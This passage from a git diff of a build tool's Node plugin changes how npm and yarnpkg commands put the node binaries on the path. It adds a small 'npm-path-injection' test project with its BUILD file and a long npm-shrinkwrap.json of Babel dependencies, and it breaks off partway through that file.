\"\"\"\n- return self._create_command('npm', args)\n+ node_bin_path = self.install_node()\n+ return self.Command(\n+ executable=os.path.join(node_bin_path, 'npm'), args=args,\n+ extra_paths=[node_bin_path])\n \n def yarnpkg_command(self, args):\n \"\"\"Creates a command that can run `yarnpkg`, passing the given args to it.\n@@ -214,8 +214,8 @@ def yarnpkg_command(self, args):\n :returns: An `yarnpkg` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n \"\"\"\n+ node_bin_path = self.install_node()\n+ yarnpkg_bin_path = self.install_yarnpkg()\n return self.Command(\n- bin_dir_path=os.path.join(self.yarnpkg_path, 'bin'), executable='yarnpkg', args=args or [])\n-\n- def _create_command(self, executable, args=None):\n- return self.Command(os.path.join(self.path, 'bin'), executable, args or [])\n+ executable=os.path.join(yarnpkg_bin_path, 'yarnpkg'), args=args,\n+ extra_paths=[yarnpkg_bin_path, node_bin_path])\ndiff --git a/contrib/node/tests/node/npm-path-injection/.babelrc b/contrib/node/tests/node/npm-path-injection/.babelrc\nnew file mode 100644\nindex 000000000..5686105b9\n--- /dev/null\n+++ b/contrib/node/tests/node/npm-path-injection/.babelrc\n@@ -0,0 +1,3 @@\n+{\n+ \"presets\": [\"latest\"]\n+}\ndiff --git a/contrib/node/tests/node/npm-path-injection/.gitignore b/contrib/node/tests/node/npm-path-injection/.gitignore\nnew file mode 100644\nindex 000000000..3c3629e64\n--- /dev/null\n+++ b/contrib/node/tests/node/npm-path-injection/.gitignore\n@@ -0,0 +1 @@\n+node_modules\ndiff --git a/contrib/node/tests/node/npm-path-injection/BUILD b/contrib/node/tests/node/npm-path-injection/BUILD\nnew file mode 100644\nindex 000000000..7fa24e3b3\n--- /dev/null\n+++ b/contrib/node/tests/node/npm-path-injection/BUILD\n@@ -0,0 +1,12 @@\n+node_module(\n+ name='npm-path-injection',\n+ sources=globs('package.json', 'npm-shrinkwrap.json', '.babelrc', 'test/*.js'),\n+ package_manager='npm',\n+)\n+\n+node_test(\n+ name='mocha',\n+ dependencies=[\n+ ':npm-path-injection'\n+ ]\n+)\ndiff --git a/contrib/node/tests/node/npm-path-injection/npm-shrinkwrap.json b/contrib/node/tests/node/npm-path-injection/npm-shrinkwrap.json\nnew file mode 100644\nindex 000000000..f951dc8f5\n--- /dev/null\n+++ b/contrib/node/tests/node/npm-path-injection/npm-shrinkwrap.json\n@@ -0,0 +1,1215 @@\n+{\n+ \"name\": \"npm-path-injection\",\n+ \"version\": \"1.0.0\",\n+ \"dependencies\": {\n+ \"ansi-regex\": {\n+ \"version\": \"2.1.1\",\n+ \"from\": \"ansi-regex@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"ansi-styles\": {\n+ \"version\": \"2.2.1\",\n+ \"from\": \"ansi-styles@>=2.2.1 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"anymatch\": {\n+ \"version\": \"1.3.0\",\n+ \"from\": \"anymatch@>=1.3.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/anymatch/-/anymatch-1.3.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"arr-diff\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"arr-diff@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"arr-flatten\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"arr-flatten@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.0.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"array-unique\": {\n+ \"version\": \"0.2.1\",\n+ \"from\": \"array-unique@>=0.2.1 <0.3.0\",\n+ \"resolved\": \"https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"arrify\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"arrify@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"async-each\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"async-each@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/async-each/-/async-each-1.0.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"babel-cli\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-cli@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-cli/-/babel-cli-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-code-frame\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-code-frame@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-core\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-core@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-core/-/babel-core-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-generator\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-generator@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-generator/-/babel-generator-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-builder-binary-assignment-operator-visitor\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-builder-binary-assignment-operator-visitor@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-call-delegate\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-call-delegate@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-define-map\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-define-map@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-define-map/-/babel-helper-define-map-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-explode-assignable-expression\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-explode-assignable-expression@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-function-name\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-function-name@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-get-function-arity\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-get-function-arity@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-hoist-variables\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-hoist-variables@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-optimise-call-expression\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-optimise-call-expression@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-regex\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-regex@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-regex/-/babel-helper-regex-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-remap-async-to-generator\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-remap-async-to-generator@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helper-replace-supers\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helper-replace-supers@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-helpers\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-helpers@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-helpers/-/babel-helpers-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-messages\": {\n+ \"version\": \"6.23.0\",\n+ \"from\": \"babel-messages@>=6.23.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-check-es2015-constants\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-check-es2015-constants@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-syntax-async-functions\": {\n+ \"version\": \"6.13.0\",\n+ \"from\": \"babel-plugin-syntax-async-functions@>=6.8.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-syntax-exponentiation-operator\": {\n+ \"version\": \"6.13.0\",\n+ \"from\": \"babel-plugin-syntax-exponentiation-operator@>=6.8.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-syntax-trailing-function-commas\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-syntax-trailing-function-commas@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-async-to-generator\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-async-to-generator@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-arrow-functions\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-transform-es2015-arrow-functions@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-block-scoped-functions\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-transform-es2015-block-scoped-functions@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-block-scoping\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-block-scoping@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-classes\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-classes@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-computed-properties\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-computed-properties@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-destructuring\": {\n+ \"version\": \"6.23.0\",\n+ \"from\": \"babel-plugin-transform-es2015-destructuring@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-duplicate-keys\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-duplicate-keys@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-for-of\": {\n+ \"version\": \"6.23.0\",\n+ \"from\": \"babel-plugin-transform-es2015-for-of@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-function-name\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-function-name@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-literals\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-transform-es2015-literals@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-modules-amd\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-modules-amd@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-modules-commonjs\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-modules-commonjs@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-modules-systemjs\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-modules-systemjs@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-modules-umd\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-modules-umd@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-object-super\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-object-super@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-parameters\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-parameters@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-shorthand-properties\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-shorthand-properties@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-spread\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-transform-es2015-spread@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-sticky-regex\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-sticky-regex@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-template-literals\": {\n+ \"version\": \"6.22.0\",\n+ \"from\": \"babel-plugin-transform-es2015-template-literals@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-typeof-symbol\": {\n+ \"version\": \"6.23.0\",\n+ \"from\": \"babel-plugin-transform-es2015-typeof-symbol@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-es2015-unicode-regex\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-es2015-unicode-regex@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-exponentiation-operator\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-exponentiation-operator@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-regenerator\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-regenerator@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-plugin-transform-strict-mode\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-plugin-transform-strict-mode@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-polyfill\": {\n+ \"version\": \"6.23.0\",\n+ \"from\": \"babel-polyfill@>=6.23.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.23.0.tgz\"\n+ },\n+ \"babel-preset-es2015\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-preset-es2015@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-preset-es2016\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-preset-es2016@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-preset-es2016/-/babel-preset-es2016-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-preset-es2017\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-preset-es2017@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-preset-es2017/-/babel-preset-es2017-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-preset-latest\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-preset-latest@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-preset-latest/-/babel-preset-latest-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-register\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-register@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-register/-/babel-register-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-runtime\": {\n+ \"version\": \"6.23.0\",\n+ \"from\": \"babel-runtime@>=6.22.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.23.0.tgz\"\n+ },\n+ \"babel-template\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-template@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-template/-/babel-template-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-traverse\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-traverse@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babel-types\": {\n+ \"version\": \"6.24.1\",\n+ \"from\": \"babel-types@>=6.24.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babel-types/-/babel-types-6.24.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"babylon\": {\n+ \"version\": \"6.16.1\",\n+ \"from\": \"babylon@>=6.11.0 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/babylon/-/babylon-6.16.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"balanced-match\": {\n+ \"version\": \"0.4.2\",\n+ \"from\": \"balanced-match@>=0.4.1 <0.5.0\",\n+ \"resolved\": \"https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"binary-extensions\": {\n+ \"version\": \"1.8.0\",\n+ \"from\": \"binary-extensions@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.8.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"brace-expansion\": {\n+ \"version\": \"1.1.7\",\n+ \"from\": \"brace-expansion@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.7.tgz\",\n+ \"dev\": true\n+ },\n+ \"braces\": {\n+ \"version\": \"1.8.5\",\n+ \"from\": \"braces@>=1.8.2 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/braces/-/braces-1.8.5.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"browser-stdout\": {\n+ \"version\": \"1.3.0\",\n+ \"from\": \"browser-stdout@1.3.0\",\n+ \"resolved\": \"https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"buffer-shims\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"buffer-shims@>=1.0.0 <1.1.0\",\n+ \"resolved\": \"https://registry.npmjs.org/buffer-shims/-/buffer-shims-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"chalk\": {\n+ \"version\": \"1.1.3\",\n+ \"from\": \"chalk@>=1.1.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz\",\n+ \"dev\": true\n+ },\n+ \"child-process-promise\": {\n+ \"version\": \"2.2.1\",\n+ \"from\": \"child-process-promise@>=2.2.1 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/child-process-promise/-/child-process-promise-2.2.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"chokidar\": {\n+ \"version\": \"1.6.1\",\n+ \"from\": \"chokidar@>=1.6.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/chokidar/-/chokidar-1.6.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"commander\": {\n+ \"version\": \"2.9.0\",\n+ \"from\": \"commander@>=2.8.1 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/commander/-/commander-2.9.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"concat-map\": {\n+ \"version\": \"0.0.1\",\n+ \"from\": \"concat-map@0.0.1\",\n+ \"resolved\": \"https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"convert-source-map\": {\n+ \"version\": \"1.5.0\",\n+ \"from\": \"convert-source-map@>=1.1.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"core-js\": {\n+ \"version\": \"2.4.1\",\n+ \"from\": \"core-js@>=2.4.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/core-js/-/core-js-2.4.1.tgz\"\n+ },\n+ \"core-util-is\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"core-util-is@>=1.0.0 <1.1.0\",\n+ \"resolved\": \"https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"cross-spawn\": {\n+ \"version\": \"4.0.2\",\n+ \"from\": \"cross-spawn@>=4.0.2 <5.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/cross-spawn/-/cross-spawn-4.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"debug\": {\n+ \"version\": \"2.6.3\",\n+ \"from\": \"debug@>=2.1.1 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/debug/-/debug-2.6.3.tgz\",\n+ \"dev\": true\n+ },\n+ \"detect-indent\": {\n+ \"version\": \"4.0.0\",\n+ \"from\": \"detect-indent@>=4.0.0 <5.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"diff\": {\n+ \"version\": \"1.4.0\",\n+ \"from\": \"diff@1.4.0\",\n+ \"resolved\": \"https://registry.npmjs.org/diff/-/diff-1.4.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"escape-string-regexp\": {\n+ \"version\": \"1.0.5\",\n+ \"from\": \"escape-string-regexp@>=1.0.2 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz\",\n+ \"dev\": true\n+ },\n+ \"esutils\": {\n+ \"version\": \"2.0.2\",\n+ \"from\": \"esutils@>=2.0.2 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"expand-brackets\": {\n+ \"version\": \"0.1.5\",\n+ \"from\": \"expand-brackets@>=0.1.4 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"expand-range\": {\n+ \"version\": \"1.8.2\",\n+ \"from\": \"expand-range@>=1.8.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"extglob\": {\n+ \"version\": \"0.3.2\",\n+ \"from\": \"extglob@>=0.3.1 <0.4.0\",\n+ \"resolved\": \"https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"filename-regex\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"filename-regex@>=2.0.0 